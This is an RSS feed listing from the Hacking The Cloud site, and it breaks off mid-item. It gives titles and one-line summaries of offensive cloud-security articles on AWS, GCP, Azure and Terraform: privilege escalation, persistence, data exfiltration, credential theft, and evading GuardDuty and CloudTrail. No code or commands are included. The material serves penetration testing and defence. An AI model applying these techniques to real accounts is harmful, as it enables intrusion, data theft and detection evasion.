<item> <title>EC2 Privilege Escalation Through User Data</title> <description>How to escalate privileges on an EC2 instance by abusing user data.</description><link>https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</link> <pubDate>Sun, 21 Jan 2024 17:59:06 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png" type="image/png" length="211145" /> </item> <item> <title>Bypass Cognito Account Enumeration Controls</title> <description>Leverage a flaw in Cognito&#39;s API to enumerate accounts in User Pools.</description><link>https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</link> <pubDate>Sun, 07 Jan 2024 21:28:56 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png" type="image/png" length="215506" /> </item> <item> <title>DNS and CloudFront Domain Takeover via Deleted S3 Buckets</title> <description>How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.</description><link>https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</link> <pubDate>Wed, 20 Dec 2023 14:50:27 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png" type="image/png" length="228410" /> </item> <item> <title>2023 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2023.</description><link>https://hackingthe.cloud/blog/2023_wrap-up/</link> <pubDate>Wed, 20 Dec 2023 01:25:13 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2023_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png" type="image/png" length="198545" /> </item> <item> <title>Data Exfiltration through S3 Server Access Logs</title> <description>Exfiltrate data via S3:GetObject and S3 server access logs.</description><link>https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</link> <pubDate>Thu, 07 Dec 2023 10:12:13 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png" type="image/png" length="213329" /> </item> <item> <title>Derive a Principal ARN from an AWS Unique Identifier</title> <description>How to convert an unique identifier to a principal ARN.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</link> <pubDate>Mon, 20 Nov 2023 00:54:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png" type="image/png" length="211615" /> </item> <item> <title>Survive Access Key Deletion with sts:GetFederationToken</title> <description>Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.</description><link>https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</link> <pubDate>Mon, 25 Sep 2023 13:24:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png" type="image/png" length="227010" /> </item> <item> <title>AWS IAM Persistence Methods</title> <description>A catalog of methods to maintain access to the AWS control plane.</description><link>https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</link> <pubDate>Tue, 01 Aug 2023 01:58:06 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png" type="image/png" length="213187" /> </item> <item> <title>Download Tools and Exfiltrate Data with the AWS CLI</title> <description>Using the AWS CLI as a LOLScript to download and exfiltrate data.</description><link>https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</link> <pubDate>Thu, 13 Jul 2023 03:46:27 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png" type="image/png" length="215852" /> </item> <item> <title>Abusing Overpermissioned AWS Cognito Identity Pools</title> <description>How to take advantage of misconfigured Amazon Cognito Identity Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</link> <pubDate>Tue, 20 Jun 2023 17:26:14 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png" type="image/png" length="222257" /> </item> <item> <title>Abusing Unintended Self-Signup in AWS Cognito</title> <description>How to take advantage of misconfigured Amazon Cognito User Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</link> <pubDate>Tue, 20 Jun 2023 17:26:14 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png" type="image/png" length="216164" /> </item> <item> <title>Unauthenticated Enumeration of Azure Active Directory Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.</description><link>https://hackingthe.cloud/azure/enum_email_addresses/</link> <pubDate>Tue, 11 Apr 2023 13:31:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png" type="image/png" length="226061" /> </item> <item> <title>Unauthenticated Enumeration of Google Workspace Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.</description><link>https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</link> <pubDate>Tue, 11 Apr 2023 13:31:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png" type="image/png" length="228077" /> </item> <item> <title>Create a Console Session from IAM Credentials</title> <description>How to use IAM credentials to create an AWS Console session.</description><link>https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</link> <pubDate>Mon, 20 Feb 2023 16:48:45 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png" type="image/png" length="218302" /> </item> <item> <title>S3 Streaming Copy</title> <description>Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment</description><link>https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</link> <pubDate>Fri, 10 Feb 2023 15:12:48 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png" type="image/png" length="211010" /> </item> <item> <title>Exfiltrating S3 Data with Bucket Replication Policies</title> <description>Backdooring S3 buckets with Bucket Replication Policies.</description><link>https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</link> <pubDate>Thu, 26 Jan 2023 01:02:06 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png" type="image/png" length="216181" /> </item> <item> <title>2022 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2022.</description><link>https://hackingthe.cloud/blog/2022_wrap-up/</link> <pubDate>Wed, 14 Dec 2022 03:27:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2022_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png" type="image/png" length="196614" /> </item> <item> <title>Loot Public EBS Snapshots</title> <description>How to find and take advantage of exposed EBS snapshots.</description><link>https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</link> <pubDate>Mon, 05 Dec 2022 02:08:42 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png" type="image/png" length="201950" /> </item> <item> <title>Misconfigured Resource-Based Policies</title> <description>Common misconfigurations of resource-based policies and how they can be abused.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</link> <pubDate>Thu, 24 Nov 2022 22:14:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png" type="image/png" length="218925" /> </item> <item> <title>Abusing Misconfigured ECR Resource Policies</title> <description>How to take advantage of misconfigured AWS ECR private repositories.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</link> <pubDate>Thu, 24 Nov 2022 22:14:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png" type="image/png" length="218283" /> </item> <item> <title>AWS Organizations Defaults &amp; Pivoting</title> <description>How to abuse AWS Organizations&#39; default behavior and lateral movement capabilities.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</link> <pubDate>Sat, 05 Nov 2022 00:02:54 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png" type="image/png" length="216415" /> </item> <item> <title>Abusing Elastic Container Registry for Lateral Movement</title> <description>With ECR permissions you can easily distribute a backdoor to production servers, developer&#39;s laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</description><link>https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</link> <pubDate>Thu, 13 Oct 2022 01:37:41 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png" type="image/png" length="235716" /> </item> <item> <title>Hacking The Cloud v2: New Look</title> <description>All about the new look for Hacking The Cloud v2.</description><link>https://hackingthe.cloud/blog/v2_new_look/</link> <pubDate>Sun, 18 Sep 2022 21:18:30 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/v2_new_look/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png" type="image/png" length="202652" /> </item> <item> <title>GCP Goat</title> <description>GCP Goat is the Vulnerable application for learning the GCP Security</description><link>https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</link> <pubDate>Mon, 29 Aug 2022 00:18:19 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png" type="image/png" length="199149" /> </item> <item> <title>Thunder CTF</title> <description>GCP themed CTF</description><link>https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</link> <pubDate>Mon, 29 Aug 2022 00:18:19 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png" type="image/png" length="186409" /> </item> <item> <title>Hunting GCP Buckets</title> <description>How to find valid and invalid GCP Buckets using tools</description><link>https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</link> <pubDate>Mon, 29 Aug 2022 00:18:19 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png" type="image/png" length="198514" /> </item> <item> <title>Privilege Escalation in Google Cloud Platform</title> <description>Privilege escalation techniques for Google Cloud Platform (GCP)</description><link>https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</link> <pubDate>Wed, 24 Aug 2022 12:25:09 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png" type="image/png" length="208951" /> </item> <item> <title>Enumerate Service Account Permissions</title> <description>Brute force the permissions of a service account to see what you have access to.</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</link> <pubDate>Tue, 23 Aug 2022 14:34:53 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png" type="image/png" length="211281" /> </item> <item> <title>Terraform ANSI Escape</title> <description>Using ANSI Escape Sequences to Hide Malicious Terraform Code</description><link>https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</link> <pubDate>Sat, 09 Jul 2022 00:02:47 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png" type="image/png" length="204806" /> </item> <item> <title>Default Account Information</title> <description>Default information on how accounts and service accounts exist in GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</link> <pubDate>Sun, 29 May 2022 13:26:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png" type="image/png" length="206328" /> </item> <item> <title>Security and Constraints</title> <description>Security considerations and constraints that are unique to GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</link> <pubDate>Sun, 29 May 2022 13:26:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png" type="image/png" length="207887" /> </item> <item> <title>Using Stolen IAM Credentials</title> <description>How to work with stolen IAM credentials and things to consider.</description><link>https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</link> <pubDate>Sat, 14 May 2022 21:51:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png" type="image/png" length="204336" /> </item> <item> <title>Run Shell Commands on EC2 with Send Command or Session Manager</title> <description>Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.</description><link>https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</link> <pubDate>Mon, 11 Apr 2022 23:11:43 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png" type="image/png" length="224827" /> </item> <item> <title>Abusing Managed Identities</title> <description>Abusing Managed Identities</description><link>https://hackingthe.cloud/azure/abusing-managed-identities/</link> <pubDate>Sun, 27 Mar 2022 16:57:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/abusing-managed-identities/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png" type="image/png" length="200528" /> </item> <item> <title>Anonymous Blob Access</title> <description>Finding and accessing files stored in Azure Storage Accounts without authentication.</description><link>https://hackingthe.cloud/azure/anonymous-blob-access/</link> <pubDate>Sat, 19 Mar 2022 16:57:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/anonymous-blob-access/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png" type="image/png" length="210407" /> </item> <item> <title>Soft Deleted Blobs</title> <description>Recovering and accessing files in private Storage Accounts that have been deleted.</description><link>https://hackingthe.cloud/azure/soft-deleted-blobs/</link> <pubDate>Thu, 17 Mar 2022 14:35:54 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/soft-deleted-blobs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png" type="image/png" length="205118" /> </item> <item> <title>AWS API Call Hijacking via ACM-PCA</title> <description>By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC</description><link>https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</link> <pubDate>Sun, 13 Mar 2022 23:45:47 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png" type="image/png" length="220522" /> </item> <item> <title>CI/CDon&#39;t</title> <description>An AWS/GitLab CICD themed CTF.</description><link>https://hackingthe.cloud/aws/capture_the_flag/cicdont/</link> <pubDate>Sat, 05 Mar 2022 04:00:57 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/capture_the_flag/cicdont/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png" type="image/png" length="191471" /> </item> <item> <title>Enumerate AWS Account ID from an EC2 Instance</title> <description>With access to an ec2 instance, you will be able to identify the AWS account it runs in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</link> <pubDate>Sun, 27 Feb 2022 22:50:13 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png" type="image/png" length="217895" /> </item> <item> <title>[Deprecated] Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/deprecated/whoami/</link> <pubDate>Wed, 09 Feb 2022 04:00:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png" type="image/png" length="224150" /> </item> <item> <title>Modify GuardDuty Configuration</title> <description>Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.</description><link>https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</link> <pubDate>Sun, 30 Jan 2022 10:32:26 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png" type="image/png" length="214509" /> </item> <item> <title>Terraform Enterprise: Attack the Metadata Service</title> <description>Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service</description><link>https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</link> <pubDate>Thu, 23 Dec 2021 21:59:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png" type="image/png" length="219084" /> </item> <item> <title>Hacking The Cloud</title> <description>The encyclopedia for offensive security in the cloud</description><link>https://hackingthe.cloud/</link> <pubDate>Tue, 30 Nov 2021 05:00:09 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/index.png" type="image/png" length="196546" /> </item> <item> <title>AWS IAM Privilege Escalation Techniques</title> <description>Common techniques that can be leveraged to escalate privileges in an AWS account.</description><link>https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</link> <pubDate>Thu, 04 Nov 2021 21:03:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png" type="image/png" length="213287" /> </item> <item> <title>Metadata in Google Cloud Instances</title> <description>Information about the data an attacker can access via GCP&#39;s API endpoints</description><link>https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</link> <pubDate>Sun, 24 Oct 2021 17:41:56 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png" type="image/png" length="210122" /> </item> <item> <title>Lambda Persistence</title> <description>How to establish persistence on a Lambda function after getting remote code execution.</description><link>https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</link> <pubDate>Thu, 16 Sep 2021 15:02:21 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png" type="image/png" length="205542" /> </item> <item> <title>Get IAM Credentials from a Console Session</title> <description>Convert access to the AWS Console into IAM credentials.</description><link>https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</link> <pubDate>Wed, 14 Jul 2021 20:46:17 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png" type="image/png" length="213826" /> </item> <item> <title>[Deprecated] Enumerate Permissions without Logging to CloudTrail</title> <description>Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.</description><link>https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</link> <pubDate>Tue, 18 May 2021 19:13:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png" type="image/png" length="221520" /> </item> <item> <title>S3 File ACL Persistence</title> <description>Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.</description><link>https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</link> <pubDate>Tue, 13 Apr 2021 02:53:30 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png" type="image/png" length="214793" /> </item> <item> <title>Enumerate AWS Account ID from a Public S3 Bucket</title> <description>Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</link> <pubDate>Sat, 03 Apr 2021 01:39:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png" type="image/png" length="219126" /> </item> <item> <title>Bypass GuardDuty Tor Client Findings</title> <description>Connect to the Tor network from an EC2 instance without alerting GuardDuty.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</link> <pubDate>Sat, 20 Feb 2021 04:07:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png" type="image/png" length="207552" /> </item> <item> <title>Intercept SSM Communications</title> <description>With access to an EC2 instance you can intercept, modify, and spoof SSM communications.</description><link>https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</link> <pubDate>Sat, 06 Feb 2021 17:17:59 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png" type="image/png" length="209881" /> </item> <item> <title>Role Chain Juggling</title> <description>Keep your access by chaining assume-role calls.</description><link>https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</link> <pubDate>Wed, 03 Feb 2021 03:20:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png" type="image/png" length="197865" /> </item> <item> <title>User Data Script Persistence</title> <description>Maintain access to an EC2 instance and it&#39;s IAM role via user data scripts.</description><link>https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</link> <pubDate>Wed, 03 Feb 2021 03:20:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid 